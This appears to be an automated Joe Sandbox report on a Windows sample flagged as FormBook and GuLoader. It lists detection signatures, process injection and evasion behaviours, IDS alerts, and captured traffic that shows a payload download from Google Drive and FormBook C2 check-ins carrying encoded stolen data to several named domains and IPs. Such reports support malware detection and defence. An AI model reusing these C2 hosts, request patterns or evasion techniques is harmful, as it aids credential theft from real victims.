Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
mF8WNclxnv.exe

Overview

General Information

Sample name:mF8WNclxnv.exe
renamed because original name is a hash value
Original sample name:b3d9c73d050313d57637cb17336f4c9f7b5769c69b00d31727040b9e173461ff.exe
Analysis ID:1631824
MD5:d4fdce532a67cfb263f62ca5090f65f0
SHA1:c87504bfa88e23f3a94584329de0d229b6109cdc
SHA256:b3d9c73d050313d57637cb17336f4c9f7b5769c69b00d31727040b9e173461ff
Tags:exeuser-adrian__luca
Infos:

Detection

FormBook, GuLoader
Score:100
Range:0 - 100
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected FormBook
Yara detected GuLoader
AI detected suspicious PE digital signature
Found direct / indirect Syscall (likely to bypass EDR)
Joe Sandbox ML detected suspicious sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Switches to a custom stack to bypass stack traces
Tries to detect virtualization through RDTSC time measurements
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Abnormal high CPU Usage
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Contains functionality to read the PEB
Contains functionality to shutdown / reboot the system
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • mF8WNclxnv.exe (PID: 6768 cmdline: "C:\Users\user\Desktop\mF8WNclxnv.exe" MD5: D4FDCE532A67CFB263F62CA5090F65F0)
    • mF8WNclxnv.exe (PID: 2080 cmdline: "C:\Users\user\Desktop\mF8WNclxnv.exe" MD5: D4FDCE532A67CFB263F62CA5090F65F0)
      • Kf2uv5NZsp.exe (PID: 5172 cmdline: "C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exe" MD5: 9C98D1A23EFAF1B156A130CEA7D2EE3A)
        • PresentationHost.exe (PID: 1796 cmdline: "C:\Windows\SysWOW64\PresentationHost.exe" MD5: C6671F8B9F073785FD617661AD1F1C45)
          • firefox.exe (PID: 2400 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook
NameDescriptionAttributionBlogpost URLsLink
CloudEyE, GuLoaderCloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000008.00000002.2314642445.0000000033860000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    0000000B.00000002.3430583789.0000000007B80000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      0000000C.00000002.3424813910.0000000002F60000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        0000000B.00000002.3426199689.0000000004CC0000.00000040.00000001.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          00000008.00000002.2315053520.0000000035AD0000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
            Click to see the 1 entries

            Sigma Signatures

            ⊘No Sigma rule has matched

            Suricata Signatures

            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2025-03-07T16:23:08.788006+010028032702Potentially Bad Traffic192.168.2.949691142.250.185.142443TCP
            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2025-03-07T16:23:48.964332+010028554651A Network Trojan was detected192.168.2.9496933.33.130.19080TCP
            2025-03-07T16:24:12.306219+010028554651A Network Trojan was detected192.168.2.94969713.248.169.4880TCP
            2025-03-07T16:24:25.618459+010028554651A Network Trojan was detected192.168.2.949701199.59.243.22880TCP
            2025-03-07T16:24:38.906491+010028554651A Network Trojan was detected192.168.2.949705199.59.243.22880TCP
            2025-03-07T16:24:52.364418+010028554651A Network Trojan was detected192.168.2.94970946.30.136.13080TCP
            2025-03-07T16:25:05.858869+010028554651A Network Trojan was detected192.168.2.94971484.32.84.3280TCP
            2025-03-07T16:25:21.781054+010028554651A Network Trojan was detected192.168.2.94971847.83.1.9080TCP
            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2025-03-07T16:24:04.546375+010028554641A Network Trojan was detected192.168.2.94969413.248.169.4880TCP
            2025-03-07T16:24:07.201181+010028554641A Network Trojan was detected192.168.2.94969513.248.169.4880TCP
            2025-03-07T16:24:09.768046+010028554641A Network Trojan was detected192.168.2.94969613.248.169.4880TCP
            2025-03-07T16:24:17.880197+010028554641A Network Trojan was detected192.168.2.949698199.59.243.22880TCP
            2025-03-07T16:24:20.447949+010028554641A Network Trojan was detected192.168.2.949699199.59.243.22880TCP
            2025-03-07T16:24:23.027798+010028554641A Network Trojan was detected192.168.2.949700199.59.243.22880TCP
            2025-03-07T16:24:31.256532+010028554641A Network Trojan was detected192.168.2.949702199.59.243.22880TCP
            2025-03-07T16:24:33.782231+010028554641A Network Trojan was detected192.168.2.949703199.59.243.22880TCP
            2025-03-07T16:24:36.334913+010028554641A Network Trojan was detected192.168.2.949704199.59.243.22880TCP
            2025-03-07T16:24:44.656476+010028554641A Network Trojan was detected192.168.2.94970646.30.136.13080TCP
            2025-03-07T16:24:47.210835+010028554641A Network Trojan was detected192.168.2.94970746.30.136.13080TCP
            2025-03-07T16:24:49.763049+010028554641A Network Trojan was detected192.168.2.94970846.30.136.13080TCP
            2025-03-07T16:24:58.066989+010028554641A Network Trojan was detected192.168.2.94971184.32.84.3280TCP
            2025-03-07T16:25:00.709849+010028554641A Network Trojan was detected192.168.2.94971284.32.84.3280TCP
            2025-03-07T16:25:03.340546+010028554641A Network Trojan was detected192.168.2.94971384.32.84.3280TCP
            2025-03-07T16:25:12.446664+010028554641A Network Trojan was detected192.168.2.94971547.83.1.9080TCP
            2025-03-07T16:25:14.993050+010028554641A Network Trojan was detected192.168.2.94971647.83.1.9080TCP
            2025-03-07T16:25:17.558628+010028554641A Network Trojan was detected192.168.2.94971747.83.1.9080TCP
            2025-03-07T16:25:27.359555+010028554641A Network Trojan was detected192.168.2.94971913.248.169.4880TCP
            2025-03-07T16:25:29.921276+010028554641A Network Trojan was detected192.168.2.94972013.248.169.4880TCP
            2025-03-07T16:25:33.132797+010028554641A Network Trojan was detected192.168.2.94972113.248.169.4880TCP

            Joe Sandbox Signatures

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Antivirus / Scanner detection for submitted sample
            Source: mF8WNclxnv.exeAvira: detected
            Multi AV Scanner detection for submitted file
            Source: mF8WNclxnv.exeVirustotal: Detection: 68%Perma Link
            Source: mF8WNclxnv.exeReversingLabs: Detection: 52%
            Yara detected FormBook
            Source: Yara matchFile source: 00000008.00000002.2314642445.0000000033860000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000B.00000002.3430583789.0000000007B80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000C.00000002.3424813910.0000000002F60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000B.00000002.3426199689.0000000004CC0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000008.00000002.2315053520.0000000035AD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Joe Sandbox ML detected suspicious sample
            Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
            Source: mF8WNclxnv.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
            Source: unknownHTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.9:49691 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.9:49692 version: TLS 1.2
            Source: mF8WNclxnv.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
            Source: Binary string: mshtml.pdb source: mF8WNclxnv.exe, 00000008.00000001.1885572559.0000000000649000.00000020.00000001.01000000.0000000B.sdmp
            Source: Binary string: PresentationHost.pdbGCTL source: mF8WNclxnv.exe, 00000008.00000003.2241843226.0000000033761000.00000004.00000020.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000003.2241933753.000000003379E000.00000004.00000020.00020000.00000000.sdmp, Kf2uv5NZsp.exe, 0000000B.00000003.2212021580.0000000001354000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdbUGP source: mF8WNclxnv.exe, 00000008.00000002.2314678715.0000000033B1E000.00000040.00001000.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000003.2182217941.00000000337D0000.00000004.00000020.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000002.2314678715.0000000033980000.00000040.00001000.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000003.2179625223.0000000033628000.00000004.00000020.00020000.00000000.sdmp, PresentationHost.exe, 0000000C.00000002.3426507724.00000000052A0000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdb source: mF8WNclxnv.exe, mF8WNclxnv.exe, 00000008.00000002.2314678715.0000000033B1E000.00000040.00001000.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000003.2182217941.00000000337D0000.00000004.00000020.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000002.2314678715.0000000033980000.00000040.00001000.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000003.2179625223.0000000033628000.00000004.00000020.00020000.00000000.sdmp, PresentationHost.exe, PresentationHost.exe, 0000000C.00000002.3426507724.00000000052A0000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: PresentationHost.pdb source: mF8WNclxnv.exe, 00000008.00000003.2241843226.0000000033761000.00000004.00000020.00020000.00000000.sdmp, mF8WNclxnv.exe, 00000008.00000003.2241933753.000000003379E000.00000004.00000020.00020000.00000000.sdmp, Kf2uv5NZsp.exe, 0000000B.00000003.2212021580.0000000001354000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: mshtml.pdbUGP source: mF8WNclxnv.exe, 00000008.00000001.1885572559.0000000000649000.00000020.00000001.01000000.0000000B.sdmp
            Source: Binary string: C:\Work\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: Kf2uv5NZsp.exe, 0000000B.00000000.2196614572.00000000000BF000.00000002.00000001.01000000.0000000E.sdmp
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 0_2_0040596F CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,0_2_0040596F
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 0_2_004064C1 FindFirstFileW,FindClose,0_2_004064C1
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 0_2_004027FB FindFirstFileW,0_2_004027FB
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 12_2_02F7CC50 FindFirstFileW,FindNextFileW,FindClose,12_2_02F7CC50
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 4x nop then pop edi11_2_07BEA58F
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeCode function: 4x nop then xor eax, eax11_2_07BDEA32
            Source: C:\Windows\SysWOW64\PresentationHost.exeCode function: 4x nop then xor eax, eax12_2_02F69F20

            Networking

            barindex
            Suricata IDS alerts for network traffic
            Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:49709 -> 46.30.136.130:80
            Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:49701 -> 199.59.243.228:80
            Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:49718 -> 47.83.1.90:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49713 -> 84.32.84.32:80
            Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:49705 -> 199.59.243.228:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49703 -> 199.59.243.228:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49720 -> 13.248.169.48:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49708 -> 46.30.136.130:80
            Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:49693 -> 3.33.130.190:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49717 -> 47.83.1.90:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49707 -> 46.30.136.130:80
            Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:49697 -> 13.248.169.48:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49715 -> 47.83.1.90:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49702 -> 199.59.243.228:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49719 -> 13.248.169.48:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49694 -> 13.248.169.48:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49712 -> 84.32.84.32:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49721 -> 13.248.169.48:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49699 -> 199.59.243.228:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49695 -> 13.248.169.48:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49696 -> 13.248.169.48:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49716 -> 47.83.1.90:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49700 -> 199.59.243.228:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49704 -> 199.59.243.228:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49698 -> 199.59.243.228:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49711 -> 84.32.84.32:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.9:49706 -> 46.30.136.130:80
            Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.9:49714 -> 84.32.84.32:80
            Performs DNS queries to domains with low reputation
            Source: DNS query: www.dappbtc.xyz
            Source: DNS query: www.justachillaiguy.xyz
            Source: DNS query: www.hypereth.xyz
            Source: Joe Sandbox ViewIP Address: 13.248.169.48 13.248.169.48
            Source: Joe Sandbox ViewIP Address: 47.83.1.90 47.83.1.90
            Source: Joe Sandbox ViewASN Name: AMAZON-02US AMAZON-02US
            Source: Joe Sandbox ViewASN Name: NTT-LT-ASLT NTT-LT-ASLT
            Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
            Source: Network trafficSuricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49691 -> 142.250.185.142:443
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: global trafficHTTP traffic detected: GET /uc?export=download&id=1MFRNZtVchGfitb5ocqetD889UhLAl8oE HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cache
            Source: global trafficHTTP traffic detected: GET /download?id=1MFRNZtVchGfitb5ocqetD889UhLAl8oE&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /ok9c/?h0=YLMXATJHMHPX8be&OtnpVzY=x9zyhaurfUuw2RYgESqh0Itn9nG43R9Dpni4l6X/owof9ofIPJbXdvzUaQAC4z3pcvPSiswXQaAOiHe4Jpgc49reK0djB4ulTrARTwvoBoTyDoN42Q== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.rootsandremedy.shopUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome 45.0.2454.85 Safari/537.36
            Source: global trafficHTTP traffic detected: GET /a4nz/?OtnpVzY=BvB6sAmqyfGQGoeIfwUty3pPcHVX1RNIxaUtPwKb2iP47WvKGYcjO0TAWlMSf+Gzv5Xfd/xhCIqYpGoRobLGmN67n/74DQXRFHP/U/Cq4+UwNCVAdQ==&h0=YLMXATJHMHPX8be HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.dappbtc.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome 45.0.2454.85 Safari/537.36
            Source: global trafficHTTP traffic detected: GET /cipf/?h0=YLMXATJHMHPX8be&OtnpVzY=UcJ+O6g+CowIAIL75eOA6Y25K5TKvkvKQa73enlXCwOPvs/hGnOhTYfcU0Fa+sqmg4j63ggEJFpks21RkomH1r/MANp+i+WEc/0SY7uuRRyo3mIPWw== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.isoemarket.shopUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome 45.0.2454.85 Safari/537.36
            Source: global trafficHTTP traffic detected: GET /qp1t/?OtnpVzY=X+xqw53CCfA75b/OS0rFMYNWmI3qR7qs7khIsU8tp8EtaJ8v/D0mwTs7JuHxTn36IqvofohKZXGNW3kpVxCnVRyiHrYNTVRu4k30H8hHWq9EQKIIiQ==&h0=YLMXATJHMHPX8be HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.perfumedeparis.storeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome 45.0.2454.85 Safari/537.36
            Source: global trafficHTTP traffic detected: GET /6t9o/?OtnpVzY=pCxWO4BRJU0RtEJOa6FcBCWzBBxeJJQEZx1AIw5yStrQw6EBZSRalM+MPmQOCP+Af7Go7Cgaj8kJgewFKIThsGx/saxQx42Oa7kLUIwwPJl8BJvWtw==&h0=YLMXATJHMHPX8be HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.essense.ltdUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome 45.0.2454.85 Safari/537.36
            Source: global trafficHTTP traffic detected: GET /2hzu/?OtnpVzY=20zJcz1BpRIV1Rr7zMz7E5MXD6aZoaXtgZcfxi4E85D3zRIXMhRBwP3GGfjN/Nk+KowkOznGNPeqQqjma+3ZnxLKJaoYc/ZeVsrJAYvL/jT3F03XRg==&h0=YLMXATJHMHPX8be HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.justachillaiguy.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome 45.0.2454.85 Safari/537.36
            Source: global trafficHTTP traffic detected: GET /9fhz/?h0=YLMXATJHMHPX8be&OtnpVzY=rZ1oEd7XhjJ01ZbUTb00kLWHJH2/8IaQpSLaWq3VmwAd7D+am9keoyjBFRTA3RAHQZrof1ulAii7iqflQRGrzSN6EgujY9QlfWW8dtXJS54oQ0e7iw== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.amzavy.infoUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome 45.0.2454.85 Safari/537.36
            Source: global trafficDNS traffic detected: DNS query: drive.google.com
            Source: global trafficDNS traffic detected: DNS query: drive.usercontent.google.com
            Source: global trafficDNS traffic detected: DNS query: www.rootsandremedy.shop
            Source: global trafficDNS traffic detected: DNS query: www.dappbtc.xyz
            Source: global trafficDNS traffic detected: DNS query: www.isoemarket.shop
            Source: global trafficDNS traffic detected: DNS query: www.perfumedeparis.store
            Source: global trafficDNS traffic detected: DNS query: www.essense.ltd
            Source: global trafficDNS traffic detected: DNS query: www.justachillaiguy.xyz
            Source: global trafficDNS traffic detected: DNS query: www.amzavy.info
            Source: global trafficDNS traffic detected: DNS query: www.hypereth.xyz
            Source: unknownHTTP traffic detected: POST /a4nz/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brCache-Control: no-cacheContent-Type: application/x-www-form-urlencodedConnection: closeContent-Length: 196Host: www.dappbtc.xyzOrigin: http://www.dappbtc.xyzReferer: http://www.dappbtc.xyz/a4nz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome 45.0.2454.85 Safari/537.36Data Raw: 4f 74 6e 70 56 7a 59 3d 4d 74 70 61 76 32 54 46 37 4e 79 76 50 70 58 41 43 57 51 77 6e 30 45 33 64 44 4e 4e 34 57 78 62 38 72 46 45 55 52 53 68 32 56 6a 76 6a 47 72 56 65 4c 42 4a 49 32 33 6a 52 47 39 70 55 4d 47 71 68 38 50 61 45 66 68 74 4a 37 72 2b 6c 43 6f 38 6f 4c 37 46 71 72 32 5a 70 49 54 59 44 43 57 77 42 6e 54 51 65 2b 43 6b 36 2f 68 33 4f 43 59 6a 4c 39 46 57 33 68 63 59 58 33 49 55 37 6a 6c 59 38 53 42 32 69 2b 56 6a 6d 42 46 38 37 31 51 38 38 5a 34 32 4b 52 4f 53 63 74 50 4f 51 6e 46 41 6e 65 71 75 48 78 36 72 72 7a 30 56 75 30 71 5a 76 49 51 4e 31 6a 6d 31 42 72 52 44 Data Ascii: OtnpVzY=Mtpav2TF7NyvPpXACWQwn0E3dDNN4Wxb8rFEURSh2VjvjGrVeLBJI23jRG9pUMGqh8PaEfhtJ7r+lCo8oL7Fqr2ZpITYDCWwBnTQe+Ck6/h3OCYjL9FW3hcYX3IU7jlY8SB2i+VjmBF871Q88Z42KROSctPOQnFAnequHx6rrz0Vu0qZvIQN1jm1BrRD
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:24:44 GMTServer: ApacheContent-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
